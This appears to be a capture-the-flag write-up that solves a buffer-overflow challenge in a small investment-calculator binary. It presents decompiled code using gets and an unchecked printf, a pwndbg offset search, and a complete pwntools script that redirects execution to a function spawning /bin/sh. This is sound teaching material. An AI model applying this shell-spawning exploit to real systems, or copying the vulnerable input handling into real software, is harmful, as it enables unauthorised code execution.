Challenge 07
July 16, 20253 minutes
A binary is provided for the challenge
int __fastcall main(int argc, const char **argv, const char **envp)
{
double v3; // xmm0_8
char nptr[8]; // [rsp+0h] [rbp-70h] BYREF
__int64 v6; // [rsp+8h] [rbp-68h]
__int64 v7; // [rsp+10h] [rbp-60h]
__int64 v8; // [rsp+18h] [rbp-58h]
__int64 v9; // [rsp+20h] [rbp-50h]
__int64 v10; // [rsp+28h] [rbp-48h]
__int64 v11; // [rsp+30h] [rbp-40h]
__int64 v12; // [rsp+38h] [rbp-38h]
double v13; // [rsp+48h] [rbp-28h]
unsigned int v14; // [rsp+54h] [rbp-1Ch]
double v15; // [rsp+58h] [rbp-18h]
double v16; // [rsp+60h] [rbp-10h]
unsigned int v17; // [rsp+6Ch] [rbp-4h]
*(_QWORD *)nptr = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v17 = 0;
v16 = 0.0;
v15 = 0.0;
v14 = 0;
start(argc, argv, envp);
puts("Cuanto es tu capital inicial?");
gets(nptr);
v16 = atof(nptr);
puts("Que tasa esperas de retorno?");
gets(nptr);
v15 = atof(nptr);
puts("Cuanto tiempo estaras invertido?");
gets(nptr);
v14 = atoi(nptr);
v3 = potencia(v14, v15 / 100.0 + 1.0);
v13 = v3 * v16;
printf("Despues de ese tiempo tendras %.2f de retorno\n", v3 * v16);
puts("Cual es tu nombre?");
gets(nptr);
printf(nptr);
puts(", Por ultimo, cual es tu edad?");
gets(nptr);
v17 = atoi(nptr);
printf("Con tu edad: %d tienes un gran futuro por delante!\n", v17);
return 0;
}
The program uses the gets function 5 times, which is vulnerable, since it does not validate the size of the input and can cause buffer overflows.
You can test this by sending a very long input and waiting for a segmentation fault
Cuanto es tu capital inicial?
AAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAA
Que tasa esperas de retorno?
Execution doesn’t break, which surprised me at the time, since there should be a segmentation fault because gets is being used. To find out what was happening, I used gdb with a breakpoint after the gets
b *main+141
The buffer overflow worked and rsp points to the ‘A’s we sent, but the program doesn’t segfault because there is no ret.
RSP 0x7fffffffe5b0 ◂— 0x4141414141414141 ('AAAAAAAA')
The only place where a return happens is at the end of main.
*RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0x7fffffffe628 ◂— 0x4141414141414141 ('AAAAAAAA')
*RIP 0x4014a5 (main+465) ◂— ret
────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────
b+ 0x40149f <main+459> mov eax, 0 EAX => 0
0x4014a4 <main+464> leave
► 0x4014a5 <main+465> ret <0x4141414141414141>
On return, rip takes its address from rsp, and since rsp is 0x4141414141414141 (AAAAAAAA), which is not a valid address, the program segfaults and stops.
To measure how many bytes we need to send to reach rsp, I used cyclic
pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
*RSP 0x7fffffffe628 ◂— 'paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa'
*RIP 0x4014a5 (main+465) ◂— ret
pwndbg> cyclic -l paaaaaaa
Finding cyclic pattern of 8 bytes: b'paaaaaaa' (hex: 0x7061616161616161)
Found at offset 120
In IDA I saw there was a function called ejecutar (“execute”) that runs /bin/sh with system.
At this point, all that’s left is to write the script that sends 120 bytes of junk and the address of the ejecutar function
$ python3 solve.py LOCAL
[*] 0x401186
[*] Switching to interactive mode
Con tu edad: 0 tienes un gran futuro por delante!
$ whoami
d3bo
#!/usr/bin/env python3
from pwn import *
exe = ELF("./interes_compuesto_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
offset = 120
ejecutar = exe.symbols['ejecutar']
info(hex(ejecutar))
payload = b'A' * offset
payload += p64(ejecutar)
r.sendlineafter('inicial?', b'A')
r.sendlineafter('retorno?', b'A')
r.sendlineafter('invertido?', b'A')
r.sendlineafter('nombre?', b'A')
r.sendlineafter('edad?', payload)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
